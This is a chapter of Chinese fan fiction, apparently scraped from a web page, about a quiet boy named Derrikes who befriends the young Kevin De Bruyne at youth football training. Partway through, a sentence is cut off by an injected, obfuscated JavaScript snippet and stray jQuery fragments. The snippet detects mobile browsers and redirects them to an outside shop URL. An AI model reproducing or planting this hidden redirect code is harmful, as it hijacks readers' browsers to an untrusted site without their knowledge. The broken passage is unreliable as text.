足球队的训练和短跑一样,都不算繁重,十二岁以下的孩子主要是以培养兴趣、锻炼体能、让他们养成良好的踢球习惯为主,偶尔进行队内分组比赛,但也不算多正规,有时候还能出现场上二十个前锋跟着球跑的奇景,偶尔机会来了守门员也会带着球往前走两步。
但这也无所谓,又不是什么正规的联赛,只要孩子们能从这种比赛中得到快乐就行,经验和球感也是在这日复一日的训练种慢慢积累起来的嘛。
而且这也不是他们训练的全部,有时候他们还会和其他的体育学校或者足球学校约个时间踢一场对抗赛,这就要比队内分组比赛要正规严肃点,而为了让小球员们保留充足的体力去应对这种比赛,比赛前一天一般都会放半天假。上午绝大部分小朋友们都勾肩搭背嘻嘻哈哈地回家了,空空荡荡的球场里只有一个金色头发的小孩。
还有站在场边像个地标建筑物的德瑞克斯。
即使场上只有一个人了,德瑞克斯依然直挺挺地站在那里,没有任何尴尬或者不好意思的情绪,只是目不转睛地盯着那颗黑白相间的足球,普普通通、上面还粘着草屑和点点泥巴的足球好像成了一个微型黑洞,吸引着他全部的精神和注意力,让他无暇再关注其他东西。
德瑞克斯只盯着球,这很好,但不算特别好。金发小孩本来是想留下来多做几组训练,为了明天的比赛做好准备,但平时那么多人挤成一堆分担着德瑞克斯的视线时他还不觉得有什么,现在一个人了才感觉浑身刺挠,德瑞克斯虽然只看着球,但那种专注到忘我的眼神却也让旁边的人压力倍增,就像有镜头恐惧症的人面对镜头一样,总之不知道手脚应该往哪边摆。
金发小孩还不至于到这种程度,但不适应的感觉还是有的,一开始他决定要把这种视线当做自己的考验,努力忽视它,只专注于训练,但越是想要忽视,脑子就越是在意,就跟房间里的大象似的,你可以当它不存在,但不代表它真的不存在,在带球绕桩跑过几轮过后,金发小孩的动作微微变形,球直接飞了出去。
超级超级巨大巨大低级的失误!金发小孩身体一僵,下意识地就想去看德瑞克斯的表情,不知道他会不会觉得自己很蠢,但很快他又克制住了,跑过去将球抱了回来,准备练习射门。
……射门的精度就更离谱了,练到最后,金发小孩的脸都忍不住涨红了,这种成绩连他自己都看不下去,旁观的人肯定笑都要笑死了!他终于忍不住向场边看去,德瑞克斯还是站在那,看姿势好像就没变过,没变的还包括那种缺乏表情的脸和直直盯着球的眼神。
真是个怪人。一直被别人说孤僻、自闭的金发小孩难得这么吐槽别人,他犹豫了一会儿,抱着球来到德瑞克斯身边,把球递给他说:“要一起踢吗?”
虽然他之前训练效率那么低全拜德瑞克斯所赐,但他也没有和德瑞克斯计较过,反而不计前嫌地邀请他一起踢球,当然他也有一点点小心思,只要德瑞克斯和他一起踢,他就不会再受他眼神干扰,双赢的结局,完美!而且看他那副样子也是很喜欢足球的,他也不怕被他拒绝。
德瑞克斯把视线从足球转移到金发小孩的脸上,抬起眼的时候金发小孩第一次注意到原来他有一双很清透的绿眼睛,像清凌的湖水,倒映着自己红晕还未褪去的脸,他看了金发小孩很久,久到金发小孩甚至以为他不会说话或者自己没表达清楚。
“不,”最后德瑞克斯还是开口了,但他嘴上说着拒绝的话,视线却一直缠在足球上面,然后他硬生生地将头偏到一边,往后退了两步,就在他彻底跑走之前,金发小孩看见他顿了一下,字句清晰地对他说:“谢谢你的邀请。”
真是太怪了。但金发小孩并不反感他,可能是相似的孤僻产生的共鸣,自从听到队友提起德瑞克斯的情况之后,他就开始不自觉地关注他,知道他数学成绩很好,知道他在隔壁练习短跑,知道他很喜欢足球但不知道为什么从来不接触它。最开始金发小孩觉得他们很像,同样的不喜欢说话,被人说性格阴沉不讨喜,但后来又渐渐发现他们还是很不一样的,金发小孩被人这么说他会感到刺痛,沮丧,甚至是自卑,这其实一个再正常不过的反应,别说是小孩了,就算很多自诩心智成熟的成年人被人说一句都要内耗半天,但德瑞克斯从不,他就像听不到别人的评价一样,从来只按照自己的步调生活,外界的所有东西于他而言都只是一阵风,吹过去不会对他造成任何影响,金发小孩看着看着,有时候甚至会感觉有点羡慕。
他多想这样无所顾忌地活一次啊。
偶尔足球队训练结束得早,他还能在回家的路上看见德瑞克斯,他背着小书包,背挺得很直,走路时连每一次的摆臂弧度几乎都大差不差,金发小孩碰见了他两次,终于在第三次的时候快步走上去叫住了他:“呃,嗨?你回家也走这条路吗?”
德瑞克斯看了他一会儿,点点头,又补充道:“我知道你,你是上次那个邀请我踢球的人。”
金发小孩终于大松了口气,放下担心之后他露出一个笑容:“我叫凯文·德布劳内,你可以叫我凯文。”
“凯文。”
“嗯。”
在德布劳内暗含期待的目光下,德瑞克斯突然回想起库尔图瓦问他名字的那个下午,那天阳光应该很好,因为记忆中蒂博的脸有些模糊,让他怎么睁开眼睛都看不清,但他充满朝气的声音却一直留在那里,清晰得仿佛昨天才说过。
“你不应该我问叫什么名字吗?”
德瑞克斯怔了一下,这个时候他才后知后觉意识到原来这就是交换姓名,不管是问别人叫什么,还是自己先介绍,都是想要和对方认识。
有所明悟之后,德瑞克斯直接开口了:“我叫德瑞克斯·范。”
“有点奇特的名字,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735296|209030||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”德布劳内抿嘴一笑,“名字有点长,但姓却很短,之后我可以叫你德瑞吗?”
德布劳内看见德瑞克斯又愣了一下,然后慢慢点头,“可以。”
【11岁,你拥有了一个新朋友】
因为有了新朋友,德瑞克斯站在场边的时间更长了,不会像之前那样偶尔看一会儿走开,而是一直站到球队训练结束,其他人都走得差不多了才和德布劳内一起回家,他们家在同一个方向,但德瑞克斯住的要更远点,每次和德布劳内告别后他还要自己一个人走一段路。有时候德布劳内会邀请他进屋玩一会儿,但他待的时间也不长,因为如果待太久了时间就会晚,他的养父母会担心他。
这样连续几天下来,德布劳内终于忍不住开口了:“下次来看球的话找个凳子吧,一直站着会累的。”
“我不会累。”德瑞克斯说,德布劳内观察了一下他的表情,好吧什么也观察不出来,但总之看不出逞强的意思,于是他也没再劝了,但第二天,德布劳内发现德瑞克斯居然没有一直站在那了,而是站一会儿走两步到另一个地方继续站着,或者站一会儿就蹲一会儿,德布劳内能猜出来德瑞克斯是因为自己之前说的话而有所改变,却又不太懂他改变的原因。
是腿站得不舒服所以想换换位置换换姿势吗?那他说不累难道是在骗他?可为什么要在这种地方骗他呢?完全没必要啊。德布劳内不明白,但他莫名觉得德瑞克斯顶着一张面无表情的脸走来走去又蹲下很有喜感,让他在训练过程中偶尔瞥见对方都要使劲压下嘴角。
但很快他就笑不出来了。
队内分组训练时,他的队友传球时因为受到了对面后卫的干扰,一不小心把球起高了,接球的队友想用头去顶,无奈错估了自己的身高,足球受力一偏,直直向着场外飞去。
偏偏就是那么巧,不仅足球对德瑞克斯有莫大的吸引力,反过来居然也成立,一颗球就像乳燕归林般直奔德瑞克斯而去,德布劳内心提到嗓子眼,大喊道:“躲开啊——”
之后发生的事情其实只有短短几秒钟,但造成的效果却不亚于看见外星人降临、弗拉芒人和瓦隆人相亲相爱、中国队勇夺世界杯冠军,总之,都是一些理论上可能但实际上下辈子都别想的事情。足球飞过来的速度是很快的,但德瑞克斯的速度好像更快,谁也没看清他是怎么站起来的,就好像他从来都没蹲下去过,然后他右脚一迈往侧边移了一步,就在其他人以为他要躲开的时候,他迎着足球将左腿抬起,轻松写意、举重若轻地把球卸下,从未如此听话的足球此刻正乖乖被德瑞克斯踩在脚下,德瑞克斯脚尖再一掂,足球被抛到空中,下一秒一股大力从侧面传来,球跨越小半个场地直冲球门而去,完美的弧线从空中划过,最后响起的是略显沉闷的入网声。
“哔——”充当裁判的教练下意识为这粒行云流水极具灵性的进球吹响口哨。